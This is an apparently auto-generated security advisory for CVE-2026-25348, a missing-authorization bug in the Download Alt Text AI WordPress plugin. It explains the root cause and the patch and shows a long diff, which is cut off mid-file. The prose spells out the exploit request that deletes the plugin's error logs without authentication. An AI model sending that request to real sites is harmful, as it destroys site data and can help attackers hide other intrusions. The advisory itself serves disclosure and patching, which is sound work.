Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-25348: Download Alt Text AI <= 1.10.15 – Missing Authorization (alttext-ai)

Plugin alttext-ai
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.10.15
Patched Version 1.10.18
Disclosed February 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25348:
The Download Alt Text AI WordPress plugin version 1.10.15 and earlier contains a missing authorization vulnerability. The plugin fails to verify user capabilities before executing the clear_error_logs function. This allows unauthenticated attackers to trigger the function, resulting in unauthorized deletion of plugin error logs. The CVSS score of 5.3 reflects medium severity.

Atomic Edge research identifies the root cause in the clear_error_logs function within the ATAI_Settings class. The function at alttext-ai/admin/class-atai-settings.php lines 619-640 lacks capability checks and nonce verification. Before the patch, the function only checked if the ‘atai_action’ GET parameter equaled ‘clear_error_logs’. It then directly called delete_option(‘atai_error_logs’) without validating the user’s permissions. The function executed for any user who accessed the vulnerable endpoint with the correct parameter.

Exploitation requires sending a GET request to the WordPress admin area with the specific action parameter. Attackers target /wp-admin/admin.php?page=atai&atai_action=clear_error_logs. No authentication or special headers are necessary. The payload consists solely of the parameter name and value. The vulnerability exists because the plugin processes this parameter through the admin_init hook, which fires for all admin page loads regardless of user role.

The patch adds multiple security layers. It introduces a capability check using ATAI_Utility::get_setting(‘atai_admin_capability’, ‘manage_options’) at line 833. The patch adds nonce verification with wp_verify_nonce at line 840. It includes proper error handling with wp_die() calls for failed checks. The function now exits after redirect with an explicit exit() call at line 851. These changes ensure only users with the configured admin capability can execute the function, and only when providing a valid nonce.

Successful exploitation allows unauthenticated attackers to delete the plugin’s error logs stored in the atai_error_logs WordPress option. This constitutes unauthorized data destruction and could facilitate covering tracks after other attacks. While the immediate impact is limited to log deletion, the missing authorization pattern suggests broader security concerns. Attackers could use this to hide evidence of other malicious activities targeting the plugin.

Differential between vulnerable and patched code

Code Diff
--- a/alttext-ai/admin/class-atai-admin.php
+++ b/alttext-ai/admin/class-atai-admin.php
@@ -77,10 +77,12 @@
       'security_update_toggle'                  => wp_create_nonce( 'atai_update_toggle' ),
       'security_check_attachment_eligibility'   => wp_create_nonce( 'atai_check_attachment_eligibility' ),
       'security_update_public_setting'          => wp_create_nonce( 'atai_update_public_setting' ),
+      'security_preview_csv'                    => wp_create_nonce( 'atai_preview_csv' ),
+      'security_url_generate'                   => wp_create_nonce( 'atai_url_generate' ),
       'can_user_upload_files'                   => current_user_can( 'upload_files' ),
-      'should_update_title'                     => get_option( 'atai_update_title' ),
-      'should_update_caption'                   => get_option( 'atai_update_caption' ),
-      'should_update_description'               => get_option( 'atai_update_description' ),
+      'should_update_title'                     => ATAI_Utility::get_setting( 'atai_update_title' ),
+      'should_update_caption'                   => ATAI_Utility::get_setting( 'atai_update_caption' ),
+      'should_update_description'               => ATAI_Utility::get_setting( 'atai_update_description' ),
       'icon_button_generate'                    => plugin_dir_url( ATAI_PLUGIN_FILE ) . 'admin/img/icon-button-generate.svg',
       'has_api_key'                             => ATAI_Utility::get_api_key() ? true : false,
       'settings_page_url'                       => admin_url( 'admin.php?page=atai' ),
--- a/alttext-ai/admin/class-atai-settings.php
+++ b/alttext-ai/admin/class-atai-settings.php
@@ -82,7 +82,7 @@
 	 * @access   public
    */
 	public function register_settings_pages() {
-    $capability = get_option( 'atai_admin_capability', 'manage_options' );
+    $capability = ATAI_Utility::get_setting( 'atai_admin_capability', 'manage_options' );
     // Main page
 		add_menu_page(
 			__( 'AltText.ai WordPress Settings', 'alttext-ai' ),
@@ -147,6 +147,42 @@
 	}

   /**
+   * Register the network settings page.
+   *
+   * @since    1.10.16
+   * @access   public
+   */
+  public function register_network_settings_page() {
+    if ( ! is_multisite() ) {
+      return;
+    }
+
+    $hook_suffix = add_submenu_page(
+      'settings.php', // Parent slug (network admin settings)
+      __( 'AltText.ai Network Settings', 'alttext-ai' ),
+      __( 'AltText.ai', 'alttext-ai' ),
+      'manage_network_options',
+      'atai-network',
+      array( $this, 'render_network_settings_page' )
+    );
+
+    // Enqueue styles for the network settings page
+    add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_network_styles' ) );
+  }
+
+  /**
+   * Enqueue styles for the network settings page.
+   *
+   * @since    1.10.16
+   */
+  public function enqueue_network_styles( $hook ) {
+    // Debug the current hook to see what it is
+    if ( strpos( $hook, 'atai-network' ) !== false ) {
+      wp_enqueue_style( 'atai-admin', plugin_dir_url( __FILE__ ) . 'css/admin.css', array(), $this->version, 'all' );
+    }
+  }
+
+  /**
    * Render the settings page.
    *
    * @since    1.0.0
@@ -162,6 +198,16 @@
   }

   /**
+   * Render the network settings page.
+   *
+   * @since    1.10.16
+   * @access   public
+   */
+  public function render_network_settings_page() {
+    require_once plugin_dir_path( dirname( __FILE__ ) ) . 'admin/partials/network-settings.php';
+  }
+
+  /**
    * Render the bulk generate page.
    *
    * @since    1.0.0
@@ -203,7 +249,7 @@
    * @return   string    The configured capability.
    */
   public function filter_settings_capability( $capability ) {
-    return get_option( 'atai_admin_capability', 'manage_options' );
+    return ATAI_Utility::get_setting( 'atai_admin_capability', 'manage_options' );
   }

   /**
@@ -221,6 +267,27 @@
       )
 		);

+    // Network API key option (multisite only)
+    if ( is_multisite() && is_super_admin() ) {
+      register_setting(
+        'atai-settings',
+        'atai_network_api_key',
+        array(
+          'sanitize_callback' => array( $this, 'sanitize_yes_no_checkbox' ),
+          'default'           => 'no',
+        )
+      );
+
+      register_setting(
+        'atai-settings',
+        'atai_network_all_settings',
+        array(
+          'sanitize_callback' => array( $this, 'sanitize_yes_no_checkbox' ),
+          'default'           => 'no',
+        )
+      );
+    }
+
     register_setting(
 			'atai-settings',
       'atai_lang',
@@ -579,6 +646,11 @@

     if ( $delete ) {
       delete_option( 'atai_api_key' );
+
+      // If this is a multisite and we're a network admin, also update the network setting
+      if ( is_multisite() && is_super_admin() ) {
+        update_site_option( 'atai_network_api_key', 'no' );
+      }
     }

     if ( empty( $api_key ) ) {
@@ -596,6 +668,24 @@
       return false;
     }

+    // Check if the network API key option is set and save it
+    if ( is_multisite() && is_super_admin() ) {
+      if ( isset( $_POST['atai_network_api_key'] ) ) {
+        $network_api_key = $_POST['atai_network_api_key'] === 'yes' ? 'yes' : 'no';
+        update_site_option( 'atai_network_api_key', $network_api_key );
+      }
+
+      if ( isset( $_POST['atai_network_all_settings'] ) ) {
+        $network_all_settings = $_POST['atai_network_all_settings'] === 'yes' ? 'yes' : 'no';
+        update_site_option( 'atai_network_all_settings', $network_all_settings );
+
+        // If enabled, sync all settings to network option for later use by subsites
+        if ( $network_all_settings === 'yes' ) {
+          $this->sync_settings_to_network();
+        }
+      }
+    }
+
     // Add custom success message
     $message = __( 'API Key saved. Pro tip: Add alt text to all your existing images with our <a href="%s" class="font-medium text-primary-600 hover:text-primary-500">Bulk Generate</a> feature!', 'alttext-ai' );
     $message = sprintf( $message, admin_url( 'admin.php?page=atai-bulk-generate' ) );
@@ -605,6 +695,129 @@
   }

   /**
+   * Sync settings from the main site to the network.
+   *
+   * Uses explicit defaults to avoid propagating unset options as false,
+   * which could lock users out or change behavior unexpectedly on subsites.
+   *
+   * @since    1.10.16
+   * @access   private
+   */
+  private function sync_settings_to_network() {
+    if ( ! is_multisite() || ! is_main_site() ) {
+      return;
+    }
+
+    // Settings with their defaults - prevents false from being stored for unset options
+    $settings_with_defaults = array(
+      'atai_api_key'              => '',
+      'atai_lang'                 => 'en',
+      'atai_model_name'           => '',
+      'atai_force_lang'           => 'no',
+      'atai_update_title'         => 'no',
+      'atai_update_caption'       => 'no',
+      'atai_update_description'   => 'no',
+      'atai_enabled'              => 'yes',
+      'atai_skip_filenotfound'    => 'no',
+      'atai_keywords'             => 'yes',
+      'atai_keywords_title'       => 'no',
+      'atai_ecomm'                => 'yes',
+      'atai_ecomm_title'          => 'no',
+      'atai_alt_prefix'           => '',
+      'atai_alt_suffix'           => '',
+      'atai_gpt_prompt'           => '',
+      'atai_type_extensions'      => '',
+      'atai_excluded_post_types'  => '',
+      'atai_bulk_refresh_overwrite' => 'no',
+      'atai_bulk_refresh_external'  => 'no',
+      'atai_refresh_src_attr'     => 'src',
+      'atai_wp_generate_metadata' => 'no',
+      'atai_timeout'              => '20',
+      'atai_public'               => 'no',
+      'atai_no_credit_warning'    => 'no',
+      'atai_admin_capability'     => 'manage_options',
+    );
+
+    // Create a network_settings array with values from the main site (with defaults)
+    $network_settings = array();
+    foreach ( $settings_with_defaults as $option_name => $default ) {
+      $network_settings[ $option_name ] = get_option( $option_name, $default );
+    }
+
+    // Save all settings to the network options
+    update_site_option( 'atai_network_settings', $network_settings );
+  }
+
+  /**
+   * Refresh network settings cache when a setting is updated.
+   *
+   * This ensures subsites get fresh values when the main site changes settings.
+   *
+   * @since    1.10.16
+   * @access   public
+   * @param    string    $option    The option name that was updated.
+   */
+  public function maybe_refresh_network_settings( $option ) {
+    // Only process our plugin's options (all start with 'atai_')
+    if ( strpos( $option, 'atai_' ) !== 0 ) {
+      return;
+    }
+
+    // Only refresh if we're on the main site, multisite is enabled, and network settings are active
+    if ( ! is_multisite() || ! is_main_site() ) {
+      return;
+    }
+
+    $network_all_settings = get_site_option( 'atai_network_all_settings' );
+    if ( $network_all_settings === 'yes' ) {
+      $this->sync_settings_to_network();
+    }
+  }
+
+  /**
+   * Handle network settings update.
+   *
+   * @since    1.10.16
+   * @access   public
+   */
+  public function handle_network_settings_update() {
+    if ( ! is_multisite() || ! is_network_admin() ) {
+      return;
+    }
+
+    // Verify user has permission to manage network options
+    if ( ! current_user_can( 'manage_network_options' ) ) {
+      wp_die( esc_html__( 'You do not have permission to manage network settings.', 'alttext-ai' ) );
+    }
+
+    // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Nonces should not be sanitized before verification
+    if ( ! isset( $_POST['atai_network_settings_nonce'] ) || ! wp_verify_nonce( $_POST['atai_network_settings_nonce'], 'atai_network_settings_nonce' ) ) {
+      wp_die( esc_html__( 'Security check failed.', 'alttext-ai' ) );
+    }
+
+    // Update network API key setting
+    $network_api_key = isset( $_POST['atai_network_api_key'] ) ? 'yes' : 'no';
+    update_site_option( 'atai_network_api_key', $network_api_key );
+
+    // Update network all settings option
+    $network_all_settings = isset( $_POST['atai_network_all_settings'] ) ? 'yes' : 'no';
+    update_site_option( 'atai_network_all_settings', $network_all_settings );
+
+    // Update network hide credits option
+    $network_hide_credits = isset( $_POST['atai_network_hide_credits'] ) ? 'yes' : 'no';
+    update_site_option( 'atai_network_hide_credits', $network_hide_credits );
+
+    // Sync settings from main site to network options if enabled
+    if ( $network_all_settings === 'yes' || $network_api_key === 'yes' ) {
+      $this->sync_settings_to_network();
+    }
+
+    // Redirect back to the network settings page with a success message
+    wp_safe_redirect( add_query_arg( 'updated', 'true', network_admin_url( 'settings.php?page=atai-network' ) ) );
+    exit;
+  }
+
+  /**
    * Clear error logs on load
    *
    * @since 1.0.0
@@ -619,8 +832,24 @@
       return;
     }

+    // Check user has permission
+    $required_capability = ATAI_Utility::get_setting( 'atai_admin_capability', 'manage_options' );
+    if ( ! current_user_can( $required_capability ) ) {
+      wp_die( esc_html__( 'You do not have permission to perform this action.', 'alttext-ai' ) );
+    }
+
+    // Verify CSRF nonce
+    if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'atai_clear_error_logs' ) ) {
+      wp_die(
+        esc_html__( 'Security verification failed. Please refresh the page and try again.', 'alttext-ai' ),
+        esc_html__( 'AltText.ai', 'alttext-ai' ),
+        array( 'back_link' => true )
+      );
+    }
+
     delete_option( 'atai_error_logs' );
     wp_safe_redirect( add_query_arg( 'atai_action', false ) );
+    exit;
   }

   /**
@@ -721,7 +950,7 @@
     }

     // Check user capabilities using configured capability
-    $required_capability = get_option( 'atai_admin_capability', 'manage_options' );
+    $required_capability = ATAI_Utility::get_setting( 'atai_admin_capability', 'manage_options' );
     if ( ! current_user_can( $required_capability ) ) {
       wp_send_json_error( __( 'Insufficient permissions.', 'alttext-ai' ) );
     }
--- a/alttext-ai/admin/partials/bulk-generate.php
+++ b/alttext-ai/admin/partials/bulk-generate.php
@@ -97,7 +97,7 @@
     }

     // Exclude images attached to specific post types
-    $excluded_post_types = get_option( 'atai_excluded_post_types' );
+    $excluded_post_types = ATAI_Utility::get_setting( 'atai_excluded_post_types' );
     if ( ! empty( $excluded_post_types ) ) {
       $post_types = array_map( 'trim', explode( ',', $excluded_post_types ) );
       $post_types_placeholders = implode( ',', array_fill( 0, count( $post_types ), '%s' ) );
--- a/alttext-ai/admin/partials/csv-import.php
+++ b/alttext-ai/admin/partials/csv-import.php
@@ -57,6 +57,7 @@
     <div class="mt-8">
       <p class="block mb-2 text-base font-medium text-gray-900">Step 2: Upload your CSV</p>
       <form method="post" enctype="multipart/form-data" id="alttextai-csv-import" class="group" data-file-loaded="false">
+        <?php wp_nonce_field( 'atai_csv_import', 'atai_csv_import_nonce' ); ?>
         <div class=" relative flex flex-col items-center gap-2  w-full px-6 py-10 sm:flex mt-2 text-center rounded-lg border-gray-500 hover:bg-gray-200 group transition-colors duration-200 ease-in-out border border-dashed box-border">
             <label class="absolute -inset-px size-[calc(100%+2px)] cursor-pointer group-hover:border-gray-500 border border-transparent rounded-lg font-semibold transition-colors duration-200 ease-in-out">
               <input
@@ -74,6 +75,27 @@
             <p class="text-center mx-auto hidden items-center gap-1.5 group-data-[file-loaded=false]:inline-flex"><span class="text-primary-600 font-medium rounded border border-gray-200 bg-gray-50  px-1.5 py-0.5 ">Choose File</span> or drag and drop.</p>
             <p class="text-center mx-auto hidden items-center gap-1.5 group-data-[file-loaded=true]:inline-flex">File added, import to continue.</p>
         </div>
+
+        <div id="atai-csv-language-selector" class="mt-6 hidden">
+          <label for="atai-csv-language" class="block mb-2 text-base font-medium text-gray-900">
+            <?php esc_html_e( 'Step 3: Select Language', 'alttext-ai' ); ?>
+          </label>
+          <p class="text-sm text-gray-600 mb-3">
+            <?php esc_html_e( 'Your CSV contains alt text in multiple languages. Choose which language to import:', 'alttext-ai' ); ?>
+          </p>
+
+          <select id="atai-csv-language" name="csv_language" class="w-full max-w-xs px-3 py-2 border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-primary-500 focus:border-primary-500">
+            <option value="">
+              <?php esc_html_e( 'Default (alt_text column)', 'alttext-ai' ); ?>
+            </option>
+            <!-- Language options populated via JavaScript -->
+          </select>
+
+          <p class="mt-2 text-xs text-gray-500">
+            <?php esc_html_e( 'Selecting "Default" uses the main alt_text column. This is backward compatible with older exports.', 'alttext-ai' ); ?>
+          </p>
+        </div>
+
         <div class="mt-4">
           <input type="submit" name="submit" value="Import" class="atai-button blue mt-4 cursor-pointer appearance-none no-underline shadow-sm">
         </div>
--- a/alttext-ai/admin/partials/network-settings.php
+++ b/alttext-ai/admin/partials/network-settings.php
@@ -0,0 +1,107 @@
+<?php
+
+/**
+ * Network Settings page for the AltText.ai plugin
+ *
+ * @link       https://www.alttext.ai
+ * @since      1.10.16
+ *
+ * @package    AltText_AI
+ * @subpackage AltText_AI/admin/partials
+ */
+
+// If this file is called directly, abort.
+if (!defined('WPINC')) {
+  die;
+}
+?>
+
+<div class="wrap">
+  <h1><?php echo esc_html(get_admin_page_title()); ?></h1>
+
+  <?php if ( isset( $_GET['updated'] ) && sanitize_text_field( wp_unslash( $_GET['updated'] ) ) === 'true' ) : ?>
+    <div class="notice notice-success is-dismissible">
+      <p><?php esc_html_e('Network settings saved successfully.', 'alttext-ai'); ?></p>
+    </div>
+  <?php endif; ?>
+
+  <div class="atai-network-settings-container">
+    <form method="post" action="edit.php?action=atai_update_network_settings">
+      <?php wp_nonce_field('atai_network_settings_nonce', 'atai_network_settings_nonce'); ?>
+
+      <div class="atai-card mb-8">
+        <div class="atai-card-header">
+          <h2 class="atai-card-title"><?php esc_html_e('Network Settings', 'alttext-ai'); ?></h2>
+          <p class="atai-card-description"><?php esc_html_e('Configure network-wide settings for AltText.ai', 'alttext-ai'); ?></p>
+        </div>
+
+        <div class="atai-card-body">
+          <div class="mb-6">
+            <h3 class="text-lg font-medium mb-2"><?php esc_html_e('API Key Management', 'alttext-ai'); ?></h3>
+
+            <div class="mb-4 flex items-center relative gap-x-2">
+
+                <input
+                  id="atai_network_api_key"
+                  name="atai_network_api_key"
+                  type="checkbox"
+                  value="yes"
+                  class="w-4 h-4 !m-0 rounded border-gray-300 checked:bg-white text-primary-600 focus:ring-primary-600"
+                  <?php checked('yes', get_site_option('atai_network_api_key', 'no')); ?>
+                >
+                <label for="atai_network_api_key" class="text-gray-600"><?php esc_html_e('Apply main site API key to all subsites', 'alttext-ai'); ?></label>
+
+            </div>
+            <div class="-mt-1 text-sm leading-6">
+              <p class="text-xs text-gray-500 mt-1"><?php esc_html_e('When enabled, all subsites will use the API key from the main site.', 'alttext-ai'); ?></p>
+            </div>
+          </div>
+
+          <div class="mb-6">
+            <h3 class="text-lg font-medium mb-2"><?php esc_html_e('Settings Synchronization', 'alttext-ai'); ?></h3>
+
+            <div class="mb-4 flex items-center relative gap-x-2">
+
+                <input
+                  id="atai_network_all_settings"
+                  name="atai_network_all_settings"
+                  type="checkbox"
+                  value="yes"
+                  class="w-4 h-4 !m-0 rounded border-gray-300 checked:bg-white text-primary-600 focus:ring-primary-600"
+                  <?php checked('yes', get_site_option('atai_network_all_settings', 'no')); ?>
+                >
+                <label for="atai_network_all_settings" class="text-gray-600"><?php esc_html_e('Apply all settings from main site to all subsites', 'alttext-ai'); ?></label>
+
+              </div>
+              <div class="-mt-1 text-sm leading-6">
+                <p class="text-xs text-gray-500 mt-1"><?php esc_html_e('When enabled, all plugin settings from the main site will be applied to all subsites. Settings on subsites will be disabled and they will use the main site settings.', 'alttext-ai'); ?></p>
+              </div>
+          </div>
+
+          <div class="mb-6">
+            <h3 class="text-lg font-medium mb-2"><?php esc_html_e('Credits Display', 'alttext-ai'); ?></h3>
+
+            <div class="mb-4 flex items-center relative gap-x-2">
+                <input
+                  id="atai_network_hide_credits"
+                  name="atai_network_hide_credits"
+                  type="checkbox"
+                  value="yes"
+                  class="w-4 h-4 !m-0 rounded border-gray-300 checked:bg-white text-primary-600 focus:ring-primary-600"
+                  <?php checked('yes', get_site_option('atai_network_hide_credits', 'no')); ?>
+                >
+                <label for="atai_network_hide_credits" class="text-gray-600"><?php esc_html_e('Hide credits display on subsites', 'alttext-ai'); ?></label>
+              </div>
+              <div class="-mt-1 text-sm leading-6">
+                <p class="text-xs text-gray-500 mt-1"><?php esc_html_e('When enabled, the "You have X credits available out of Y" message will be hidden on all subsites.', 'alttext-ai'); ?></p>
+              </div>
+          </div>
+        </div>
+      </div>
+
+      <div class="atai-form-actions">
+        <button type="submit" class="button button-primary"><?php esc_html_e('Save Network Settings', 'alttext-ai'); ?></button>
+      </div>
+    </form>
+  </div>
+</div>
--- a/alttext-ai/admin/partials/settings.php
+++ b/alttext-ai/admin/partials/settings.php
@@ -23,14 +23,27 @@
     ),
     'br' => array()
   );
+
+  // Multisite network control checks
+  $is_multisite = is_multisite();
+  $is_main_site = is_main_site();
+  $network_controls_api_key = $is_multisite && get_site_option( 'atai_network_api_key' ) === 'yes';
+  $network_controls_all_settings = $is_multisite && get_site_option( 'atai_network_all_settings' ) === 'yes';
+  $network_hides_credits = $is_multisite && ! $is_main_site && get_site_option( 'atai_network_hide_credits' ) === 'yes';
+
+  // Settings are network-controlled only when all settings are shared (not just API key)
+  $settings_network_controlled = $is_multisite && ! $is_main_site && $network_controls_all_settings;
+
+  // API key is locked when either network API key OR all settings are shared
+  $api_key_locked = $is_multisite && ! $is_main_site && ( $network_controls_api_key || $network_controls_all_settings );
 ?>

 <?php
-  $lang = get_option( 'atai_lang' );
+  $lang = ATAI_Utility::get_setting( 'atai_lang' );
   $supported_languages = ATAI_Utility::supported_languages();
-  $ai_model_name = get_option( 'atai_model_name' );
+  $ai_model_name = ATAI_Utility::get_setting( 'atai_model_name' );
   $supported_models = ATAI_Utility::supported_model_names();
-  $timeout_secs = intval(get_option( 'atai_timeout', 20 ));
+  $timeout_secs = intval(ATAI_Utility::get_setting( 'atai_timeout', 20 ));
   $timeout_values = [10, 15, 20, 25, 30];
 ?>

@@ -109,11 +122,28 @@
   <h2 class="mb-0 text-2xl font-bold"><?php esc_html_e( 'AltText.ai WordPress Settings', 'alttext-ai' ); ?></h2>
   <?php settings_errors(); ?>

-  <form method="post" class="" action="<?php echo esc_url( admin_url() . 'options.php' ); ?>">
+  <?php if ( $settings_network_controlled || $api_key_locked ) : ?>
+    <div class="atai-network-controlled-notice notice notice-info" style="margin: 20px 0; padding: 12px; background-color: #e7f3ff; border-left: 4px solid #2271b1;">
+      <p style="margin: 0;">
+        <strong><?php esc_html_e( 'Network Settings Active:', 'alttext-ai' ); ?></strong>
+        <?php
+          if ( $settings_network_controlled ) {
+            esc_html_e( 'All settings are controlled by the network administrator and cannot be changed on this site.', 'alttext-ai' );
+          } else if ( $api_key_locked ) {
+            esc_html_e( 'The API key is shared across the network and cannot be changed on this site. Other settings can be configured locally.', 'alttext-ai' );
+          }
+        ?>
+      </p>
+    </div>
+  <?php endif; ?>
+
+  <form method="post" class="<?php echo $settings_network_controlled ? 'atai-network-controlled' : ''; ?>" action="<?php echo esc_url( admin_url() . 'options.php' ); ?>">
     <?php settings_fields( 'atai-settings' ); ?>
     <?php do_settings_sections( 'atai-settings' ); ?>

-    <input type="submit" name="submit" value="Save Changes" class="atai-button blue mt-4 cursor-pointer appearance-none no-underline shadow-sm">
+    <?php if ( ! $settings_network_controlled ) : ?>
+      <input type="submit" name="submit" value="Save Changes" class="atai-button blue mt-4 cursor-pointer appearance-none no-underline shadow-sm">
+    <?php endif; ?>
     <div class="mt-4 space-y-4 border-b-0 border-t border-solid divide-x-0 divide-y divide-solid sm:space-y-6 border-x-0 border-gray-900/10 divide-gray-900/10">
       <div class="">
         <div class="pb-12 mt-4 space-y-8 sm:pb-0 sm:space-y-0 sm:border-t">
@@ -127,15 +157,17 @@
                   name="atai_api_key"
                   value="<?php echo ( ATAI_Utility::get_api_key() ) ? '*********' : null; ?>"
                   class="block py-1.5 w-full text-gray-900 rounded-md border-0 ring-1 ring-inset ring-gray-300 shadow-sm sm:max-w-xs sm:text-sm sm:leading-6 focus:ring-2 focus:ring-inset placeholder:text-gray-400 focus:ring-primary-600"
-                  <?php echo ( $has_file_based_api_key || ATAI_Utility::get_api_key() ) ? 'readonly' : null; ?>
-                >
-                <input
-                  type="submit"
-                  name="handle_api_key"
-                  class="<?php echo ( ATAI_Utility::get_api_key() ) ? 'atai-button black' : 'atai-button blue'; ?> relative no-underline cursor-pointer shadow-sm focus:outline-none focus:ring-2 focus:ring-primary-500 focus:ring-offset-2 whitespace-nowrap"
-                  value="<?php echo ( ATAI_Utility::get_api_key() ) ? esc_attr__( 'Clear API Key', 'alttext-ai' ) : esc_attr__( 'Add API Key', 'alttext-ai' ); ?>"
-                  <?php echo ( $has_file_based_api_key ) ? 'disabled' : null; ?>
+                  <?php echo ( $has_file_based_api_key || ATAI_Utility::get_api_key() || $api_key_locked ) ? 'readonly' : null; ?>
                 >
+                <?php if ( ! $api_key_locked ) : ?>
+                  <input
+                    type="submit"
+                    name="handle_api_key"
+                    class="<?php echo ( ATAI_Utility::get_api_key() ) ? 'atai-button black' : 'atai-button blue'; ?> relative no-underline cursor-pointer shadow-sm focus:outline-none focus:ring-2 focus:ring-primary-500 focus:ring-offset-2 whitespace-nowrap"
+                    value="<?php echo ( ATAI_Utility::get_api_key() ) ? esc_attr__( 'Clear API Key', 'alttext-ai' ) : esc_attr__( 'Add API Key', 'alttext-ai' ); ?>"
+                    <?php echo ( $has_file_based_api_key ) ? 'disabled' : null; ?>
+                  >
+                <?php endif; ?>
               </div>
               <div class="mt-4 max-w-lg">
                 <?php if ( ! ATAI_Utility::get_api_key() ) : ?>
@@ -166,7 +198,7 @@
                     ?>
                     </p>
                   </div>
-                <?php else : ?>
+                <?php elseif ( ! $network_hides_credits ) : ?>
                   <div class="bg-primary-900/15 p-px rounded-lg">
                     <p class="py-2 m-0 px-4 leading-relaxed bg-primary-100 rounded-lg sm:p-4">
                     <?php
@@ -235,7 +267,7 @@
                       type="checkbox"
                       value="yes"
                       class="w-4 h-4 rounded border-gray-300 checked:bg-white text-primary-600 focus:ring-primary-600"
-                      <?php checked( 'yes', get_option( 'atai_force_lang' ) ); ?>
+                      <?php checked( 'yes', ATAI_Utility::get_setting( 'atai_force_lang' ) ); ?>
                     >
                   </div>
                   <div class="-mt-1 text-sm leading-6">
@@ -281,7 +313,7 @@
                       type="checkbox"
                       value="yes"
                       class="w-4 h-4 rounded border-gray-300 checked:bg-white text-primary-600 focus:ring-primary-600"
-                      <?php checked( 'yes', get_option( 'atai_update_title' ) ); ?>
+                      <?php checked( 'yes', ATAI_Utility::get_setting( 'atai_update_title' ) ); ?>
                     >
                   </div>
                   <div class="-mt-1 text-sm leading-6">
@@ -296,7 +328,7 @@
                       type="checkbox"
                       value="yes"
                       class="w-4 h-4 rounded border-gray-300 checked:bg-white text-primary-600 focus:ring-primary-600"
-                      <?php checked( 'yes', get_option( 'atai_update_caption' ) ); ?>
+                      <?php checked( 'yes', ATAI_Utility::get_setting( 'atai_update_caption' ) ); ?>
                     >
                   </div>
                   <div class="-mt-1 text-sm leading-6">
@@ -311,7 +343,7 @@
                       type="checkbox"
                       value="yes"
                       class="w-4 h-4 rounded border-gray-300 checked:bg-white text-primary-600 focus:ring-primary-600"
-                      <?php checked( 'yes', get_option( 'atai_update_description' ) ); ?>
+                      <?php checked( 'yes', ATAI_Utility::get_setting( 'atai_update_description' ) ); ?>
                     >
                   </div>
                   <div class="-mt-1 text-sm leading-6">
@@ -326,7 +358,7 @@
                       name="atai_alt_prefix"
                       id="atai_alt_prefix"
                       class="block py-1.5 w-full text-gray-900 rounded-md border-0 ring-1 ring-inset ring-gray-300 shadow-sm sm:text-sm sm:leading-6 focus:ring-2 focus:ring-inset placeholder:text-gray-400 focus:ring-primary-600"
-                      value="<?php echo esc_html ( get_option( 'atai_alt_prefix' ) ); ?>"
+                      value="<?php echo esc_html ( ATAI_Utility::get_setting( 'atai_alt_prefix' ) ); ?>"
                     >
                   </div>
                 </div>
@@ -338,7 +370,7 @@
                       name="atai_alt_suffix"
                       id="atai_alt_suffix"
                       class="block py-1.5 w-full text-gray-900 rounded-md border-0 ring-1 ring-inset ring-gray-300 shadow-sm sm:text-sm sm:leading-6 focus:ring-2 focus:ring-inset placeholder:text-gray-400 focus:ring-primary-600"
-                      value="<?php echo esc_html ( get_option( 'atai_alt_suffix' ) ); ?>"
+                      value="<?php echo esc_html ( ATAI_Utility::get_setting( 'atai_alt_suffix' ) ); ?>"
                     >
                   </div>
                 </div>
@@ -358,7 +390,7 @@
                       type="checkbox"
                       value="yes"
                       class="w-4 h-4 rounded border-gray-300 checked:bg-white text-primary-600 focus:ring-primary-600"
-                      <?php checked( 'yes', get_option( 'atai_enabled' ) ); ?>
+                      <?php checked( 'yes', ATAI_Utility::get_setting( 'atai_enabled' ) ); ?>
                     >
                   </div>
                   <div class="-mt-1 text-sm leading-6">
@@ -382,7 +414,7 @@
                       name="atai_type_extensions"
                       id="atai_type_extensions"
                       class="block py-1.5 w-full text-gray-900 rounded-md border-0 ring-1 ring-inset ring-gray-300 shadow-sm sm:text-sm sm:leading-6 focus:ring-2 focus:ring-inset placeholder:text-gray-400 focus:ring-primary-600"
-                      value="<?php echo esc_html ( get_option( 'atai_type_extensions' ) ); ?>"
+                      value="<?php echo esc_html ( ATAI_Utility::get_setting( 'atai_type_extensions' ) ); ?>"
                     >
                   </div>
                   <p class="mt-1 text-gray-500">
@@ -410,7 +442,7 @@
                       name="atai_excluded_post_types"
                       id="atai_excluded_post_types"
                       class="block py-1.5 w-full text-gray-900 rounded-md border-0 ring-1 ring-inset ring-gray-300 shadow-sm sm:text-sm sm:leading-6 focus:ring-2 focus:ring-inset placeholder:text-gray-400 focus:ring-primary-600"
-                      value="<?php echo esc_html ( get_option( 'atai_excluded_post_types' ) ); ?>"
+                      value="<?php echo esc_html ( ATAI_Utility::get_setting( 'atai_excluded_post_types' ) ); ?>"
                     >
                   </div>
                   <p class="mt-1 text-gray-500">
@@ -427,7 +459,7 @@
                       type="checkbox"
                       value="yes"
                       class="w-4 h-4 rounded border-gray-300 checked:bg-white text-primary-600 focus:ring-primary-600"
-                      <?php checked( 'yes', get_option( 'atai_skip_filenotfound' ) ); ?>
+                      <?php checked( 'yes', ATAI_Utility::get_setting( 'atai_skip_filenotfound' ) ); ?>
                     >
                   </div>
                   <div class="-mt-1 text-sm leading-6">
@@ -453,7 +485,7 @@
                       type="checkbox"
                       value="yes"
                       class="w-4 h-4 rounded border-gray-300 checked:bg-white text-primary-600 focus:ring-primary-600"
-                      <?php checked( 'yes', get_option( 'atai_keywords' ) ); ?>
+                      <?php checked( 'yes', ATAI_Utility::get_setting( 'atai_keywords' ) ); ?>
                     >
                   </div>
                   <div class="-mt-1 text-sm leading-6">
@@ -473,7 +505,7 @@
                       type="checkbox"
                       value="yes"
                       class="w-4 h-4 rounded border-gray-300 checked:bg-white text-primary-600 focus:ring-primary-600"
-                      <?php checked( 'yes', get_option( 'atai_keywords_title' ) ); ?>
+                      <?php checked( 'yes', ATAI_Utility::get_setting( 'atai_keywords_title' ) ); ?>
                     >
                   </div>
                   <div class="-mt-1 text-sm leading-6">
@@ -501,7 +533,7 @@
                       maxlength="512"
